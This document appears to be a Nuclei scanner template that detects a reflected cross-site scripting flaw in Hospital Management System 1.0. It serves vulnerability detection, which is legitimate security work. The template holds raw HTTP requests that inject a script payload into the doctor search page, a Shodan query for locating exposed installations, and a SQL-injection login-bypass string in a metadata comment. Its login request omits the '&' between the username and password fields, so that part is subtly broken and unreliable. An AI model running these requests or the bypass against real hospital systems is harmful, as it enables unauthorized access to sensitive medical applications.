id: hospital-management-xss

info:
  name: Hospital Management System 1.0 - Cross-Site Scripting
  author: arafatansari
  severity: high
  description: |
    Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in doctor/search.php.
  reference:
    - https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-39411&scoretype=cvssv3
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"Hospital Management System"
    comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
  tags: hms,hospital,cms,xss,authenticated

http:
  - raw:
      - |
        POST /hms/doctor/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}password={{password}}&submit=
      - |
        POST /hms/doctor/search.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=

    matchers:
      - type: dsl
        dsl:
          - 'contains(header_2, "text/html")'
          - "status_code_2 == 200"
          - contains(body_2, 'Result against \"<script>alert(document.domain)</script>\" keyword')
        condition: and

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